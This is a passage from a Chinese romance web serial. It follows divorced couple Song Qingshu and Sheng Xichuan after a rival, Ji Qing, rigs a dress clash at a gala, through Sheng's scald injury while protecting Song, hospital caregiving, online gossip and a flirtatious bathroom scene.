散场时,她再也忍受不住心里的煎熬,一路跟盛熙川到停车场去。
她没想到会这样。
本以为宋清殊会出尽洋相,谁知,却让她出了风头。
凭什么?宋清殊一个自己爸妈都不要的野孩子,凭什么从上学起就要一直压自己一头,现在还能让自己成为众矢之的!
季卿不服。
听到季卿的声音,盛熙川停下脚步,转头似笑非笑地看她:“我又没说是你,慌什么?”
第218章 一起吃宵夜
季卿当然慌,因为她心虚。
之所以会做这件事,是因为在她眼里跟礼宾小姐撞衫,是莫大的羞辱。
她自己也在校园时期,因为被别的女同学撞衫,而出手霸凌过。
在她眼里,这是非常恶毒的办法了。
她收买了宋清殊的造型师,又让人以主办方的名义,给礼仪队定了一模一样的礼服,目的就是想让宋清殊尴尬失态。
哪怕是到现在被宋清殊轻松化解,季卿也觉得她不可能不在意,只是在强撑。
但宋清殊化解的方式太丝滑,不指名道姓,却轻易把矛头引到了她身上,还有种“大人不记小人过”的感觉,让她恼羞成怒。
季卿咬牙,只觉得宋清殊太狡诈了!
如今,被盛熙川反问,她有一瞬间没有反应过来。
好一会儿才张张嘴道:“因为我看宋清殊和楼珏都在暗示是我做的,怕你多想。”
“放心,没有人会多想。”盛熙川还是那副似笑非笑的淡然神情,“但如果你心虚,就另当别论了。”
季卿站在那里,张了张嘴,脸上不自然的表情持续了好一会儿。
“宋清殊最喜欢花言巧语,熙川哥哥你不要落入她的圈套就好。”季卿憋了很久,说道。
盛熙川神色不动:“多谢提醒。”
见季卿不走,又问:“还有什么事吗?”
他声音里没有任何嘲讽,也不恼,情绪很稳定。
季卿:“……你答应去我家吃饭的事,还作数吗?”
盛熙川:“我不是答应你了,为什么不去?”
季卿这才放心地走了。
回去的路上,季卿坐在车里各种气不顺,终于在司机把车子开过一个坑,颠簸了一下时爆发了。
“停车!”季卿尖叫,“你会不会开车?”
中年司机唯唯诺诺地看着季卿,赔笑脸:“小姐这段路有点不好走……”
“不好走?给你开工资是吃白饭的吗?”季卿一肚子火没处发泄,简直是抓到了司机这个出气筒。
她随手抓起手边的包,对着司机的脑袋狠狠砸去。
司机不敢还手,被季卿猛砸了十几下。
包的五金件刮到脸上,顿时流下血来。
见了血,季卿的心情才稍微好了点。
她让司机打电话让别的司机过来替班,自己坐在后座,冷着张脸复盘盛熙川的话。
盛熙川一整晚都没有什么不对劲。
哪怕看到宋清殊撞衫,也没有什么大反应。哪怕后来,宋清殊暗示得那样明显,就差报她的身份证号了,依然没有指责她。
季卿分析来分析去,觉得盛熙川未必不知道自己做什么,而是根本不在乎。
他不在乎宋清殊了,所以才会有这个表现,是她自己听信了一些坊间传言,误以为两人还有什么感情罢了。
季卿也不是非要嫁给盛熙川不可,毕竟,她在初中时期就跟宋清殊较劲,不可能上赶着要嫁她的前夫。
她对盛熙川的征服欲,来自于他的拒绝。
最早,季家在她不知情的情况下有意跟盛家联姻,是根本没想过盛熙川会拒绝的。
季卿比盛熙川小八岁,又从未结过婚,季家不管是家境还是背景,虽然比不上盛家,却比陆家和宋家都强,在季家人的心里,盛家应该求之不得才对。
谁知,从中做媒的人碰了一鼻子灰。
这件事过去了好几年,季卿还是在大学毕业后回到上京才知道的。
她自幼嚣张跋扈,怎么受得了这种委屈,马上被激起了胜负欲。
她一定要盛熙川愿意。
哪怕在一起后再把盛熙川一脚蹬了,他也必须喜欢过她才行。
如果现在盛熙川真的已经对宋清殊毫无感情了,她本来可以放过宋清殊一码的。
可现在,宋清殊当着那么多人的面让她成为众矢之的,她就再没有被原谅的可能了。
司机脑袋上的血越流越多,有点止不住,他转头看季卿:“小姐,我……我先去医院看看,可以吗?”
季卿看着司机的血有一滴落在了方向盘上,语气狠厉,冷笑道:“现在滚,别脏了我的车。”
那位可怜的司机,简直是连滚带爬
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地下了车。
而盛熙川这边,在季卿走后,又靠着车门抽了根烟,接着,便看到了一起进停车场的宋清殊和楼珏。
她们都已经换了衣服,有说有笑,心情不错。
宋清殊先看到盛熙川,停下脚步。
“聊聊?”她主动说。
盛熙川掐了烟,点头:“坐我车吧。”
于是,宋清殊低声跟楼珏说了两句话,让楼珏先走。
她上了盛熙川的车。
两人刚坐好,宋清殊便说:“今天的事,是季卿做的。”
盛熙川“嗯”了一声。
接着,看宋清殊从包里往外掏东西,那是她打印出来的证据。
她要把那叠东西给盛熙川看。
“别这么急,饿了,一起吃个宵夜。”
盛熙川说,又看宋清殊,“一晚上都在等这一刻,你都没怎么吃东西,会不饿?”
她装作若无其事,明明全程都在等季卿出招,吃饭的时候,也只吃了几口蔬菜沙拉,喝了一瓶气泡水。
“你都知道?”宋清殊诧异看他。
盛熙川挑眉:“很奇怪吗?我自认为对你还算了解。”
除了当局者迷,被她用珍珠和那个该死的法国男人骗了。
一想起这两件事,盛熙川恨不得撞墙,他怎么可以这么蠢?!
“我不饿……”
伴随着拒绝的,是肚子发出的**。
淡定如宋清殊也一时间红了脸。
盛熙川想笑她,又不敢,生怕失去这次一起吃宵夜的机会,低头憋了许久。
车子一路开到一家小店停下。
看见门口彩灯招牌上“大头烧烤”四个字,宋清殊愣了一下。
是他们订婚宴结束后吃的那家。
“正好离得近,他们这个季节有火锅,你应该也会喜欢。”盛熙川说。
宋清殊没说什么,跟他下车。
天气还冷,没有人坐外面,他们也进了店内。
还是那个胖胖的老板娘,店内的陈设也没怎么变,只是有些旧了。
坐在带着点陈年油渍的桌前,宋清殊一时间有点恍惚。
好言难劝要死的鬼
盛熙川点餐,漂亮白皙的手指捏着油腻菜单的样子有点违和。
宋清殊听不清他在说什么,只想起四年前的那个夏夜。
她还记得自己为了保护被骚扰的女生以身入局,盛熙川多么帅气的把那些人打趴下。
之后,他在车里握着她扭伤的脚替她正骨,她被撩得心脏狂跳。
宋清殊自己也说不好记忆有没有被篡改过,因为她后来实打实的爱上了他,后面便觉得前面的每一次相处,似乎都在一点点动心。
他和她之间,其实真没有发生过什么不得了的大事,至少他们的出发点都不是要伤害对方。
她有限的青春,真正意义上的恋爱,竟然也只有这一段。
其余光阴,八年生活在颠沛流离的痛苦里,四年生活在怀孕育儿里,竟然也就这样稀里糊涂到了27岁。
期间甚至没有再遇到过一个合适的人,谈一段像样的恋爱。
如今物是人非,她对他竟然也没有什么怨怼。他们只是差一点缘分罢了。
盛熙川点了铜锅涮肉,又额外点了几个烤串。
他饮食相对简单干净,不爱吃这些苍蝇馆子的东西,但他知道宋清殊喜欢。
等上面冒着热气,底下烧着炭火的铜锅端上桌,宋清殊也收起了纷乱的心绪。
她把涮好的羊肉夹出来,蘸在芝麻酱里,吃进嘴里满口留香,只觉得熨帖。
紧绷了一晚上的精神松懈了下来,她靠在椅背上眯了眯眼。
盛熙川也察觉到了这细微的变化,他想说,只要宋清殊肯跟他复婚,可以把这边的厨子招进家单独做这些烧烤和涮锅给她吃,又怕招她厌烦,破坏好好的氛围,忍下了。
两人边吃边聊,宋清殊把自己收集到的证据给他看。
“前几天,造型师跟我在一起的时候应该是接到了季卿的电话,我看她鬼鬼祟祟,就查了查。”宋清殊说,拿出打印好的证据给盛熙川看。
“造型师帐户里多出来的50万虽然不是以季卿的名义打的,但礼仪团队做衣服的地方被我找到了,20件高仿礼服花了4万,是季卿扫码付的。”
盛熙川点头:“哪怕没有这些证据,我也相信你不会冤枉她。”
宋清殊一听,眼睛都亮了。
“所以,她人品真的有问题!跟一个人品有问题的人结婚,
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对你也不利!”
盛熙川:“那你跟我复婚,我就不娶她。”
宋清殊简直要疯,那点因为吃了羊肉火锅而压下去的脾气,登时又冲了上来。
“你听不懂话吗?盛熙川,季卿人品有问题,跟你在一起,对你也不好!
我承认,我跟她有私人恩怨,也不想让她做珍珠后妈,但我这么做不只是为了我自己!
我也是为你好,跟一个人品有问题的女人在一起,后患无穷。”
她觉得自己称得上苦口婆心了。
盛熙川只是静静地看着她:“那你跟我复婚吗?”
“不,我没有这个计划。我只是……”
盛熙川:“既然不复婚,就不要打着为我好的旗号告诉我这些了。我要不要和季卿在一起,是我自己的事。
跳火坑,我自己愿意。”
宋清殊气得太阳穴突突直跳,她觉得盛熙川魔怔了。
话不投机,宵夜也吃不下了。
宋清殊猛然站起身来,她冷笑:“好言难劝要死的鬼,你随意吧!”
她气得头昏脑涨,离开座位时,没注意服务员正端着一个铜锅路过,两人猛地一撞。
第220章 她还爱他
一切发生在电光石火之间。
明明隔着一张桌子,宋清殊怎么也想不到盛熙川会有这样的反应速度。
只见他起身,猛地将她一推,将服务员往自己身边一拉。
服务员连带着那个铜锅对着盛熙川倒下来。
盛熙川的后腰撞在隔壁桌的桌沿上,声音很大。
铜锅里的热汤和炭火倾倒在他的胸口,宋清殊甚至听到了“滋啦”一声。
不知是不是皮肤被烧焦的声音。
周围的顾客都被突如其来的变故惊扰,不少人站起身来。
“先,先生,你没事吧?”服务员慌乱的声音在耳边响起。
事情发生的太快,宋清殊的大脑一片空白。
她想跑过去,却动不了,想喊也发不出声音,整个人仿佛被施了定身术一样。
一时间,店内乱成一团,胖胖的老板娘反应最快,先失声尖叫起来。
“有人烫伤了,叫救护车!”
等宋清殊反应过来跑过去,老板娘已经让人拿出了冰柜里的冰啤酒。
她将盛熙川扶在椅子上坐下,一边剪他的衬衫,一边把手里的冰啤酒塞给宋清殊。
“姑娘,给你男朋友冰敷,救护车马上来。”
宋清殊接过酒瓶,看着老板娘把盛熙川的衣服剪开。
他胸前的皮肤已经被烫得红肿发皱,起了好几个大泡。
那几个泡,薄如蝉翼的表皮包裹着淡黄色组织液,随着呼吸起伏微微颤动。
新伤旁边是旧伤,那块电击形成的疤痕有一半盖在了水泡底下,另一半边缘模糊。
目光所及,宋清殊看得呼吸一滞。
她机械地酒瓶贴上去。
因为温差的关系,不一会儿,就有水珠凝在酒瓶外壁上。
宋清殊怕盛熙川的伤口感染,又下意识一遍遍擦拭瓶身。
盛熙川握住了她的手。
“别担心,死不了。”他说。
因为疼痛,他一张脸煞白,额上青筋暴起,掌心也带着一层冷汗。
但他脸上的神情很淡,甚至还能分神安慰她。
“我没怕。”宋清殊强撑着说。
“嗯。可你的手一直在抖。”
盛熙川竟然还能笑得出来。
骨节分明大手,覆盖在宋清殊手掌之上。将她的指节包覆住,收紧。
宋清殊任他握着。
手心里是冰凉的酒瓶瓶,手背上是盛熙川手掌带着冷汗的湿热滑腻触感。
她极力稳住心神,一边给他冰敷,一边给苏白打了电话。
苏白明显也吓了一跳,却依然也在电话里安慰她说:“你别怕。”
宋清殊没觉得自己害怕。
直到救护车赶到,在车窗上,她看到自己泪痕交错的脸。
苏白跟着救护车一同来的。
之后,众人七手八脚扶盛熙川上车。
救护车内蓝白灯光无比刺眼,消毒水味钻到鼻腔里,宋清殊跪坐在担架旁,看着医护人员麻利地替盛熙川处理着伤口。
表皮剥离后的创面苍白中泛着血丝,下面的泡密密麻麻,大的有鸽子蛋大小,宋清殊更是倒吸了一口凉气。
她的心像被一只无形的大手攥紧,透不过气来。
“手给我。”盛熙川说。
宋清殊麻木地把一只手递过去,他不接,却在担架上艰难伸手,要够另一只。
“别动。”苏白沉声呵斥。
宋清殊赶忙把另一手伸过去。
盛熙川单手握着她那只手,将她的手指掰开,露出被掐红的手心。
“一紧张就掐手心的毛病到底什么时候能改。”盛熙川还在笑,脸上没有一点血色,连嘴唇都是白的。
宋清殊没说话。
她的脑子一片混乱,给不出任何合适的反应。
等到了医院,宋清殊被要求在急诊室外等。
盛熙川和苏白都比她淡定,盛熙川在被推进手术室之前,甚至还有心思让人准备一份宵夜给她吃。
值夜班的护士也真的送来了烧卖和甜粥。
宋清殊哪里吃得进去?
她坐在走廊里,回想发生的一切,只觉得心有余悸。
她觉得那个烧烤店非常不吉利,这辈子她都不会再去了。
此时已经是深夜,有小护士从急诊室出来问她,处理的时间比较长,要不要先去病房休息一下。
宋清殊摇头。
她满脑子都是盛熙川受伤的画面,根本放松不下来。
时至今日,她再也无法欺骗自己,说她对盛熙川再无感情。
刚才那一瞬间带来的惊吓,恐惧,席卷着她,以至于到现在她都无法平静下来。
盛熙川的烫伤,处理了三个多小时。
这三个多小时,也是宋清殊让自己冷静下来的时间。
从最初的感动,到担忧,再到头脑发昏,想着不如就这样复婚,回到他身边去。
她心思百转,经历了坐过山车一般的情绪起伏。
凌晨2点多,纷乱的心,终于冷静下来。
她接受了自己还爱着盛熙川这个事实,决定不再对抗,可她却也不准备回头了。
当初离开他,也不是因为没有爱,不是吗?
是因为那点单薄的爱,实在无法跟现实对抗。除了那点爱,四面八方都是阻力。
他们强求来的缘分,到底是差了一些。
冷静下来的宋清殊,去饮水机接了一杯冰水灌下去。
她告诉自己,如果盛熙川需要,她可以留下来贴身照顾,如果再遇到这样的情况,她也可以为他不顾一切。
可复婚是万万不能的。
凌晨三点,盛熙川被苏白和一众护士从急诊推了出来。
他身上涂了药,赤裸的上身缠了厚厚的医用绷带,躺在床上打着点滴。
脸是灰白色,见到宋清殊,扯了扯唇角,无力地笑了一下。
“至少留院观察72小时,等恢复了,后期做个植皮手术。”苏白说。
又看宋清殊一眼,“你好好照顾他。你们两个一起经历了这么多,想必这次你也该明白他的真心了。”
言外之意,如果他为你受这么重的伤,你都不为所动,回到他身边来,未免太过分了。
宋清殊垂着眼没说话。
一直到病房里只剩下她和盛熙川两个人。
“盛熙川,多谢你。”她坐在他身边,柔声道,“你想要我怎么感谢你,都可以提,除了……”
第221章 宋清殊,我要上厕所
“除了不能跟我复婚,其余都可以,是不是?”盛熙川平躺在病床上,只用眼神睨着她。
唇边那抹笑,像是冻住了一样,收不回,也无法放到更大。
宋清殊被说中了心里话,蓦地抿住了唇,她很尴尬。
“是,我知道这么做,显得我特别没有人情味。
可我真的不能再错一次了。我可以给你钱,也可以照顾你,虽然不希望这种情况发生,可是以后的某一天,如果你真的遇到了危险,我也可以挡在你前面。
盛熙川,虽然现在说你可能不会相信,但我能为你去死。”她说。
宋清殊声音不大,语速也很慢,可这些话都是深思熟虑的结果。
盛熙川微微把头偏向她这一边,一瞬不瞬地盯着她看,直到她被盯得浑身不自在,别开眼去。
他倏地笑了一下。
“宋清殊,好狠的心。”
语气里没有埋怨,反而带了点宠。
又缓缓道,“你知道我刚才在手术室里经历了什么吗?那种削肉剔骨的疼,让我感觉自己又死了一次。”
宋清殊只是听着,便觉得感同身受一般,她胸口同样的位置,跟着隐隐作痛。
“都怪我,我当时情绪上头,也没注意到身边过来的人。”她自我检讨,恨不能以身代之,替他疼。
“不,能保护你,我很高兴。”盛熙川说,依然深情款款看她的眼睛,“所以,商量一下,你这些绝情的话,哪怕等到明天说呢。”
宋清殊抿唇,有些无措。
“对不起。”
盛熙川叹了口气:“宋清殊,我不想再听到任何一句道歉的话了。”
不许她说不复婚的话,也不许她道歉,那宋清殊还真的没什么话说了。
她在一旁枯坐着陪他打点滴,盯着药瓶里的水,等变少时及时叫护士——
尽管这个工作其实也并不需要她,VIP病房里的护士一个个异常机警。
“虽然以后可能也不会有这种场景了,但再遇到这种情况,你能不能不要冲上去?”后来,实在没什么话说,她好声好气跟他商量。
盛熙川从鼻子里哼了一声。
“如果珍珠遇到危险,你会坐视不理吗?”他反问她。
“那怎么可能?”宋清殊下意识反驳,“哪个妈妈遇到这种情况会坐视不理呢?”
“在我眼里,也是一样的。”盛熙川说。
宋清殊反应了一下他的话。
他是说,救她,保护她,是出于本能。
“其实是不一样的,珍珠是你女儿,你保护她的确理所应当,但对我不用这样。”她说。
盛熙川盯着她看,脸色越来越沉:“我不想跟你吵架。”
宋清殊便又闭了嘴。
盛熙川需要打七瓶药,看样子要到天亮了。
她坐在一旁,不说话便胡思乱想。
突然又意识到了一件事。
看盛熙川半阖着眼睛,她轻声唤他:“盛熙川。”
盛熙川用眼神打了个问号。
“你从来都没有跟珍珠做过亲子鉴定。”宋清殊说。
他不过是确定了珍珠是她的孩子,便理所当然的认定了珍珠是他的女儿。
而她,一味处于对珍珠身份曝光的焦虑里,竟然也忘了这茬。
要不然她甚至可以用亲子鉴定做做文章,兴许再拖一拖……但珍珠太聪明,并没有那么可控,那么做了,事态不知又发展到什么样子。
盛熙川眼神里已经有不耐烦了。
“有那个必要吗?宋清殊?你觉得别人能生出珍珠这样的孩子?”
宋清殊:“……毕竟,当初你可是……”
怀疑过我和莫北丞的。
这话太像翻旧账,他刚帮了她,她却要翻旧账,不太好。
她觉得不妥,又闭了嘴。
盛熙川那样通透,自然知道她想说什么。
他一双眼沉沉地看着她,不带一丝光亮。
许久才叹了口气:“你不用提醒我过去有多蠢,我已经知道错了。
别说珍珠一定是我的女儿,就算她不是,我也会视如己出,让她做长女,继承我的家业。”
宋清殊还想问为什么,可她怕盛熙川再说出什么肉麻的话来,不好收场。
便只说:“珍珠对这些钱财俗物不感兴趣,以后再说吧。”
盛熙川便又闭了眼,没有接话。
接下来的半夜,他在床上躺着,宋清殊一边守着。
他一动,宋清殊便马上警觉,问:“怎么了?需要什么吗?哪里不舒服?”
盛熙川没错过她眼里的担忧。
难得的好氛围,竟然是靠受伤换来的。
也行吧,这波不亏。盛熙川想。
凌晨5:00多,盛熙川起身。
“宋清殊,我要上厕所。”他说。
……一个尴尬的要求。
宋清殊看了一下,他的点滴还有大半瓶,估计要等多半个小时。
“你能忍忍吗?”她试探着问。
盛熙川要被气笑了:“有没有可能,我是实在忍不住了,才跟你说的?”
……行吧。
宋清殊起身,替他高高举起输液器,一起走到洗手间去。
盛熙川的针扎在右手,左手解腰带,有些不便。
他也不过试了两次,便看宋清殊:“你来。”
宋清殊有些尴尬,却也不好矫情。
她把药瓶递到他左手上,之后双手替他解了腰带和西裤扣子。
她不敢看他,全程低头。
盛熙川垂眼看着她毛茸茸的头顶,心跳纷乱,呼吸都变得急促起来。
弄好后,宋清殊接过药瓶,跟着他走到马桶边,顺手替他掀起了马桶圈。
她拼命告诉自己,此刻的她只是一个护工。
盛熙川为她受伤,她做的这些都是应该的。
可即便这样,也不妨碍洗手间的氛围变得暧昧,空气都粘稠拉丝了起来。
宋清殊举着药瓶背过身,听着背后的水声,连耳朵尖都红了起来。
她胡思乱想,没注意到盛熙川已经转回了身。
“傻了?”
盛熙川的低笑声在耳边响起,宋清殊抬头,便撞上了他幽深的眸子。
他的眼睛又黑又亮,洗手间的灯光映在里面,像两簇火苗。
“好人做到底,再帮我系上。”他说。
宋清殊垂眸,瞬间全新的血液都冲到了脸上。
“你怎么……”
第222章 上热搜
盛熙川倒是没有狂放到跟她赤诚相见,但情况也没有好到哪儿去。
他的西裤大门敞着,深灰色内裤下是她的老熟人。
看宋清殊脸红得快着火的模样,盛熙川越发恶趣味催促:“还不快点,怎么,许久不见了,你想跟他打个招呼吗?”
宋清殊:“……”
她惊讶于这个狗男人的轻浮,面部的肌肉抖动了好一阵,竟然给不出一个合适的反应。
想把药瓶砸在他脑袋上,看一眼他缠成木乃伊的上身后,又硬生生忍了。
终是什么也没说,低头迅速给他拉上了裤链,先一步走出洗手间。
身后是盛熙川的笑声,听得出来,他笑得胸腔都在跟着共振。
狗男人,受个伤居然还这么开心!
宋清殊在心里啐了一口,只觉得又气又恼,她的脸烫得厉害。
回到病房冷着脸把药瓶挂好,看着盛熙川躺回去,宋清殊就坐在一旁没有再理他。
盛熙川也不再逗她。
“困了就上来睡。”他拍了拍自己身边的位置。
VIP病房的床很大,睡两个人没什么问题。
宋清殊翻了个白眼:“男女授受不亲。”
盛熙川:“刚才也不知道是谁帮我解的裤子。”
宋清殊说不过他,索性直接闭嘴。
她在一旁静坐,也许是因为情绪起伏太大,折腾到天亮,终于松懈下来,疲惫的要命。
后来便靠着椅背打瞌睡,慢慢进入了梦乡,连盛熙川的点滴是什么时候打完的不知道。
再醒来时,已经是上午9:00多。
宋清殊发现自己躺在病床上,身边是同样酣睡的男人。
他们现在不是适合睡在一起的关系。
她一个激灵,想起身,头皮一疼,才发现被盛熙川压住了头发。
“醒醒,”她小声叫他,伸手拍了拍他的脸。
这才发现盛熙川不知什么时候已经换了病号服。
他的睡颜很不安,虽然闭着眼,眼珠却在急速转动。
不知是时间太久止疼药失效了,还是在做噩梦。
宋清殊突然就有点狠不下心。
于是,她小心翼翼地抓住自己那一缕头发,想一点点从他的身下扯出来。
谁知,此时,盛熙川竟然握住她那只手腕,一个翻身,将她压在了身下。
两人同时低呼了一声。
宋清殊是被吓了一跳,而盛熙川则是因为压到了伤口。
盛熙川疼得脸色一白,把宋清殊都吓了一跳。
但他没有马上离开,而是用上臂微微撑起身子,隔开一点距离,居高临下地看她。
他那张轮廓立体,带着攻击性的脸在眼前无限放大,眼睛又深又暗。
宋清殊被盯得莫名紧张,吞咽了一口唾液。
“你压到我头发了。”她小声说,连自己什么时候红了脸都不知道。
盛熙川这才放开她,“嗯”了一声。
他下床,先自顾自洗漱去了。
留宋清殊一个人在床上发了会儿呆。
盛熙川住的是京华医院最好的VIP病房,设施堪比星级酒店。
洗手间里的东西一应俱全,连智能浴缸都有。
他洗漱完宋清殊便进去了,等出来时盛熙川已经升起了小桌板。
“先吃早饭,兰姐做的。”他说。
宋清殊这才发现,病床旁的茶几上多了一个巨大的食盒。
盛熙川打开,一一摆在小桌上,又递了汤匙和筷子给她。
养生汤,蟹粉小笼,白灼菜心,都是宋清殊平时爱吃的口味。
她也的确饿了。
两人一个靠坐在床头,一个在床尾,竟然就这样一起吃了个早饭。
气氛难得的和谐。
以至于苏白来查房,看两人这个状态,都要喜极而泣了。
“你们两个也算是弯弯绕绕,兜了个大圈子,又回到彼此身边了。”他感慨,“既然在一起了,那就……”
宋清殊赶紧打断他:“苏白,我们没有复合,别误会。”
她没有过多解释,也懒得解释了,只说:“他为我受伤,我会照顾到他出院。”
盛熙川给了苏白一个“懂了吧”的眼神。
苏白秒懂,当天便在查房记录里,写了“病人创面恢复较慢,建议留院观察一周”。
可即便如此,对两人的关系,苏白也有点不抱希望了。
盛熙川这次伤得不轻,但凡宋清殊有一点复合的心思,也就顺着台阶下来了。
可她不下,大概就是真的没有这个意思。
宋清殊只是看着柔弱,有主意的要命,想道德绑架她,很难。
而且,苏白看盛熙川也没有挟恩图报的意思。
盛熙川因为受伤,罕见地得到了宋清殊不少好脸色,已经十分知足了。
他神情很淡,一般人看不出什么。
但苏白了解他,此时在苏白看来,盛熙川如果是一只狗,身后的尾巴大概已经摇成风火轮了。
他很为这次受伤开心。
吃完饭,宋清殊让人去买了一张折叠小床过来,又让保姆给她送了换洗衣服。
以往如果盛熙川住院,势必声势浩大,不仅杨端和吴小爱要全程陪着,护工和保姆也至少会有两三个。
这次除了有人一日三餐送饭,其余时候连个人影都没有,连医护人员进来的频率都降低了。
看这个情景,宋清殊知道,照顾盛熙川的“重任”落到了她一个人身上。
行吧,她告诉自己,毕竟是为她受的伤,这恩情该还的。
说是照顾盛熙川,他好手好脚,需要她额外帮忙的部分并不多,最主要的是陪伴。
于是,跟陆夫人打过招呼后,宋清殊便把很多工作都拿到了医院做。
稍微有点意外的是,在医院陪护的这几天里,还发生了一件事:她在慈善晚会上的“撞衫事件”和那番发言上了热搜。
【宋清殊 撞衫】
【宋清殊 高情商发言】
【宋清殊 慈善晚会】
【宋清殊:从不在意肤浅的较量】
……
宋清殊将近两天时间没上网,终于有空看新闻时,自己都懵了。
有网民评价她:【内核真正稳定的女人,从来不需要靠外在的东西证明自己】
还有人说,宋清殊这一招是直接把阴谋变阳谋,让设局者被动暴露在了阳光下。
总之,她被媒体和公众塑造成了一个有智慧的女人,狠狠吹了一波。
但宋清殊将计就计,最主要的原因只有她自己知道——
如果不让季卿的阴谋进行完,她不好找盛熙川告状,说不定还被当成被害妄想症。
可事情就在盛熙川眼前发生,她再让他相信是季卿所为就容易多了。
没想到,歪打正着,竟然有意外收获。
如今的宋清殊跟陆氏直接挂钩,她带动了陆氏的股价,在这几天竟然一路涨停。
越来越多的人扒她,她的旧事也被拿出来说,一时间,无数人都在为她这个有故事的“传奇”女人着迷。
与此同时,撞衫事件的始作俑者季卿也被扒了出来。
第223章 洗澡
这件事的高明之处在于,宋清殊自始至终连季卿的名字都没提,但矛头就是指向了她。
普通民众本就对上流圈子里的事感兴趣,宋清殊的撞衫事件又有那么强的戏剧性,哪怕再不八卦的人都津津乐道。
于是,季卿在追盛熙川,这件事就被人拿到了明面上来说。配合楼珏那句“到底是谁做的,好难猜呀”,简直讽刺值拉满。
很快,网上便有诸如:“我有一个朋友”“我有一个邻居”“我朋友的朋友”也参加了那场慈善晚会的言论传出来。
针对此事,网民们自有高见——
【一些上不了台面的雌竞手段罢了,无非就是季卿怕宋清殊太漂亮,让盛熙川再动心】
【越是这样,越证明宋清殊才是真美女,跟现场20个比她高的美女撞衫,竟然一点不输】
【不,宋清殊最牛的地方在于,她根本不在乎输不输,在季卿还在苦苦雌竞的时候,她把做礼服的钱捐给学校,已经赢了好吧】
【季卿跟她根本不在一个level】
……
舆论一边倒地倾向宋清殊,这一仗,季卿输得彻底。
她在自己的社交账号上也强词夺理澄清了一番,但效果微乎其微。
不过有一点,不知是媒体不敢涉政,还是民众们没有扒出来,倒是没有人主动提季卿的家世。
没人提归没人提,季卿这样敏感的人家,最在乎脸面。
为了转移网民注意力,这段时间在网上自爆分手离婚的明星都多了起来,想必也花了不少财力物力。
当然,凡事都有一体两面。
这件事还带来了一点副作用:让民众认识了季卿这个人。
她把自己所有社交媒体账号都设置成了只有粉丝可以互动评论,为了骂她,网民们不得不关注,几天时间她的短视频账号竟然也涨粉上百万。
黑红也是红,季卿做了大半年没有做明白的自媒体,竟然靠碰瓷宋清殊起来了,也是便宜了她。
关于这一点,楼珏没少在微信上跟宋清殊吐槽。
“现在你简直是流量密码了,要是我,干脆趁着这波流量开个直播,把粉丝圈过来再说。”
楼珏从小被父母带着做生意,有敏锐的商人思维。
但宋清殊是另一个极端,她不喜欢打无准备之仗。
“再说吧,总不能直播让人看我照顾盛熙川吧。”她苦笑。
说起这件事,连楼珏都忍不住问她的态度了。
“那你复合吗?”她这次甚至都没试探,直接问到了脸上。
宋清殊简洁明了:“不,报恩有许多方式,最不可取的就是以身相许。”
楼珏先发了一串省略号过来,又发了一个大拇指表情。
对于宋清殊和盛熙川这笔烂帐,她已经不想用语言评价了。
宋清殊也觉得无奈。
人真的是非常复杂的动物,很多时候不是非黑即白的,情感和理智也并不能完全裂开。
但宋清殊知道,这件事发生后,她心里那个秤已经发生了倾斜。
不过是她不想再回头看,也不想再重复过去的人生了。
宋清殊在医院照顾了盛熙川一星期。
这一星期,盛熙川睡病床,她睡折叠床,倒是很有几分相敬如宾的意思。
大概是因为救了她,功过相抵,盛熙川面对她多了份坦然。
住院的日子,他看上去心情不错。
如果不是换药时看到了他身上狰狞的伤口,和诊断报告上“烧伤三级”的字样,宋清殊简直要怀疑他根本不疼了。
盛熙川照顾起来并不费力气,唯一需要操心的是他的洗澡问题。
原则上,这个程度的烧伤三周内完全不许洗澡,可盛熙川三天就已经到了忍受极限。
这天吃过午饭,他坚持要洗澡,宋清殊不得不找护士要了防水敷料给他。
为了以防万一,敷料之外,她又特地给他从前胸到后背缠了层保鲜膜。
“简单洗一下就好了,不要逞强。”她一再嘱咐。
直到盛熙川逗她:“担心的话,你来给我洗。”
宋清殊才闭了嘴,不再管他。
但他洗澡的时间有点长,她难免悬着一颗心。
她掐着时间,看盛熙川半小时还没有出来,去敲浴室的门。
“你差不多就行了。”宋清殊说。
没人应。
又敲,依然没动静。
宋清殊的心莫名发紧,没来得及多想,她一把推开了卫生间的门。
“你一个大男人,洗澡需要这么久……”开门的瞬间,所有的话堵在了喉咙里,自动消音,宋清殊的脸蓦地红了。
浴室的温度开得很高,空气里氤氲着团团湿热的水汽。
一切都像开了虚化特效,镜子和窗户都变成了模糊的。
宋清殊站在门口,如同走进了《红楼梦》中的太虚幻境一般。
隔着那层雾气,盛熙川正躺在没有放水的空浴缸里,慵懒的眯着眼,用右手给自己的左臂打泡沫。
淋浴器被他搁置在一边,像一只小喷泉,汩汩地冒着细密的水花。
雾气里的盛熙川,比平日里多了几分神性,连仰卧的姿势,都是西方教堂壁画里男人特有的。
他比四年前瘦了一圈,但肩宽腰细,四肢修长,连胸口上的保鲜膜都似乎被加了一层滤镜,并不影响整体的美观。
宋清殊仿眼看着盛熙川白皙的手指握着沾满泡沫的浴花,擦在自己的手臂,肩膀,再从纹路清晰的巧克力腹肌上一路往下延伸,到人鱼线,再到……那里。
氛围色气到了极点。
宋清殊呆立在门口,仿佛被施了定身术,她全身的血液都冲到了颅顶,失去了所有语言能力,也迈不动步子。
还是盛熙川先发现的她。
他微微抬眼睨她,声音里带着戏谑的笑意:“宋小姐把人家的身子看了去,可是要负责哦。”
宋清殊只是呆立着不说话。
她知道自己该转身就走,可她就是失去了所有的自控能力,根本动不了。
一直到盛熙川站起身来,将身上的泡沫冲干净,她还满脑子都是自己一进门时的画面。
他美好的胴体对她的冲击力太大,不是靠意识就能控制的。
也许,她真的寡太久了。宋清殊想。
第224章 腻歪
盛熙川对宋清殊的反应太熟悉,毕竟,他是那个手把手打开她情欲开关的人。
他不动声色地看着她,只是喉结滚了两滚,嗓子发哑:“过来。”
宋清殊不动。
她不过去也不离开,只是呆呆地站在原地,脸一路红到耳廓和脖子,似乎连袖管里露出的手臂都是红的。
她想解释一下自己只是怕他出意外,可发不出声来。
这样是不对的,人不该被欲念裹挟,她该转身就走。
可双腿像被钉在了地上,就是动不了。
宋清殊控制不住自己,这个认知让她觉得懊恼。
她呼吸纷乱,急着逃离,越急就越难以自持。
以至于,眼睛里居然汪了一窝水,她快急哭了。
盛熙川看着眼前人的反应,心如擂鼓,颅内的情欲也在叫嚣着。
他想冲过去,亲她,占有她,将她揉进自己的身体。
这样想着,盛熙川胡乱拿了条浴巾系在自己腰上,两步走过去,立在了宋清殊面前。
“喜欢啊?”他问。
嗓音低低哑哑,说不出的性感蛊惑。
